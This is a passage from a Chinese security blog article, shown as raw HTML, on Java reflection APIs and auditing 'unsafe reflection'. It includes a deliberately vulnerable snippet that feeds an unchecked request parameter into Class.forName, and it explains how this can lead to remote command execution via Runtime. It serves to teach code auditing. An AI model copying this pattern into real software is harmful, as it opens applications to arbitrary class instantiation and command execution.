style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getClass() </code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">我们可以通过 Object 类中的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;"> getClass()</code> 方法来获取字节码对象，不过这种方式较为繁琐，必须要明确具体的类，然后创建对象，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6469933184855234" data-s="300,640" style="" data-type="png" data-w="1796" src="https://wechat2rss.xlab.app/img-proxy/?k=02ae31f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1hia0JQdAqeESKYuvbveiaLowb5jEuCibr5RMwdYmAIrxib0DID4ibugwgbg%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第四种：使用 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getSystemClassLoader().loadClass() </code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getSystemClassLoader().loadClass() </code>方法和 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">forName()</code> 方法类似，这种方式也是只要有类名称即可，但与<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;"> forName() </code>方法还是有些区别，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">forName()</code>的静态方法 JVM 会装载类，并且执行 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">static { } </code>中的代码，而 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getSystemClassLoader().loadClass() </code>不会执行static()的代码，如在上文中提到的使用 JDBC时，就是利用 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">forName()</code>方法，让 JVM 查找并加载指定的类到内存中，此时将&#34;<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">com.mysql.jdbc.Driver</code>&#34; 当做参数传入，就是告诉JVM，去&#34;<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">com.mysql.jdbc</code>&#34; 这个路径下找 Driver 类，将其加载到内存中。该方法具体如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.48828125" data-s="300,640" style="" data-type="png" data-w="2048" src="https://wechat2rss.xlab.app/img-proxy/?k=2fd861a6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1cVSIle939fIyZia6d3vpSMprUJ629POhnDbdEIPmPDRoQJ2j9VettOw%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_6" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、获取类方法</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">获取某个Class对象的方法集合，主要有以下几个方法：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第一种：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredMethods()</code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredMethods()</code> 方法返回类或接口声明的所有方法，包括：public、protected、private和默认方法，但不包括继承的方法，具体方式如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8963730569948186" data-s="300,640" style="" data-type="png" data-w="1930" src="https://wechat2rss.xlab.app/img-proxy/?k=caf1f66a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB11AxAyGpB8gCWGiberKs9iawxiaURFDiciaCwglDfzdVnGyI9SBnG8zVucCQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">第二种：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getMethods()</code> 方法</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getMethods()</code> 方法返回某个类的所有public方法，包括其继承类的public方法，具体方式如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.9454342984409799" data-s="300,640" style="" data-type="png" data-w="1796" src="https://wechat2rss.xlab.app/img-proxy/?k=a22c13d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1Kf5Obq8h8iazOwwM1u3sfickuQv1S9vebvJbj5sBpZTC2A443CD9uSyg%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第三种：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getMethod()</code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getMethod()</code> 方法只能返回一个特定的方法，如 Runtime 类中的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">exec()</code>方法，该方法的第一个参数为方法名称，后面的参数为方法的参数对应Class的对象，具体如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6236345580933466" data-s="300,640" style="" data-type="png" data-w="2014" src="https://wechat2rss.xlab.app/img-proxy/?k=03d8ce4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1vW3mA5xSjuE76aUQQIibU6OicZe4OhkcbSxnlLudJB9Zr8g4lq2M7v7g%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第四种：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredMethod()</code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredMethod()</code>方法和<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getMethod()</code>类似，它也只能返回一个特定的方法，该方法的第一个参数为方法名，第二个参数名是方法参数，具体如图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6543824701195219" data-s="300,640" style="" data-type="png" data-w="2008" src="https://wechat2rss.xlab.app/img-proxy/?k=6be6f7ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1E1Iy6riczVfFklrjyXLvOVIBFXnS280g7fsFaziaAg92SJQy13RJk7Ig%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_7" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h4 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 14px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、获取类成员变量</h4><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">为了更直观的体现出获取类成员变量的方法，我们首先创建一个 Student 类，如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7434620174346201" data-s="300,640" style="" data-type="png" data-w="1606" src="https://wechat2rss.xlab.app/img-proxy/?k=c018f4ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1IldpaNMbtXVML4lc1MOyRl5em57MB5C651HUXRoAYAaIxZMazGDic0A%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如果我们想获取这个 Student 类成员变量，那么主要有以下几个方法：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第一种：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredFields()</code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredFields()</code>方法能够获得类的成员变量数组，包括public、private和proteced，但是不包括父类的申明字段。具体方式如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.9950617283950617" data-s="300,640" style="" data-type="png" data-w="1620" src="https://wechat2rss.xlab.app/img-proxy/?k=5774db2e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1icvFNUEQ4QiaHEfH6ONYb0VUbX80CmkrYfOVTSQPE8gHKEXuDjH7MICw%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第二种：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getFields()</code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getFields()</code>能够获得某个类的所有的public的字段，包括父类中的字段，具体如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8426270136307311" data-s="300,640" style="" data-type="png" data-w="1614" src="https://wechat2rss.xlab.app/img-proxy/?k=fbbfb634&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1Vr5b0CoZfPmq3picEoLpxqhqXsj9ke1Z0QfzEjQfrMoLaProYrvMzwQ%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第三种：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredField()</code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">该方法与<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getDeclaredFields()</code>区别是这个方法只能获得类的单个成员变量，如我们仅想获得Student 类中的name 变量，那么具体如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.7352637021716649" data-s="300,640" style="" data-type="png" data-w="1934" src="https://wechat2rss.xlab.app/img-proxy/?k=fc5b90d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1R0SaferibpQMmwvjL7N3UwtaAZ88YYdFjfgiblicdrH4xyWzicSXa340FA%2F640%3Fwx_fmt%3Dpng"/></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>第四种：<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getField()</code>方法</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">与<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getFields()</code>类似，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">getField()</code>方法能够获得某个类的特定的public的字段，包括父类中的字段，如我们想获得 Student 类中的 public类型变量content，具体如下图所示：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.8290598290598291" data-s="300,640" style="" data-type="png" data-w="1638" src="https://wechat2rss.xlab.app/img-proxy/?k=e117730b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1Nib9ciaBiaYprBATdMFbhxgceIw6vfgFYia9COzDDsqvwRfMXCDPnIxULw%2F640%3Fwx_fmt%3Dpng"/></p><p><span name="menu_index_8" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x04 不安全的反射</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">在上文中我们提到过，利用Java的反射机制，我们可以无视类方法、变量访问权限修饰符，可以调用任何类的任意方法、访问并修改成员变量值，那么这可能导致安全问题，如果一个攻击者能够通过应用程序创建意外的控制流路径，那么就有可能绕过安全检查发起相关攻击。假设有段代码如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">  String name = request.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span>);<br/>  Command command = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>   <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (name.equals(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Delect&#34;</span>)) {<br/>     command = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> DelectCommand();<br/>  } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (ctl.equals(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Add&#34;</span>)) {<br/>     command = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> AddCommand();<br/>  } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">else</span> {<br/>   ...<br/>  }<br/>  command.doAction(request);</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">存在一个字段为name，当获取用户请求的name字段后进行判断，如果请求的是 Delect 操作，则执行DelectCommand 函数，若执行的是 Add 操作，则执行 AddCommand 函数，如果不是这两种操作，则执行其他代码。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">此时，假如有位开发者看到了这段代码，他觉得可以使用Java 的反射来重构此代码以减少代码行，如下所示：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">String name = request.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span>);<br/>  Class ComandClass = Class.forName(name + <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;Command&#34;</span>);<br/>  Command command = (Command) CommandClass.newInstance();<br/>  command.doAction(request);</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这样的重构看起来使得代码行减少，消除了if/else块，而且可以在不修改命令分派器的情况下添加新的命令类型，但是如果没有对传入进来的name字段进行限制，那么我们就能实例化实现Command接口的任何对象，从而导致安全问题。实际上，攻击者甚至不局限于本例中的Command接口对象，而是使用任何其他对象来实现，如调用系统中任何对象的默认构造函数，再如调用Runtime对象去执行系统命令，这就可能导致远程命令执行漏洞，因此不安全的反射的危害性极大，也是我们审计过程中重点关注的内容。</p><p><span name="menu_index_9" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, 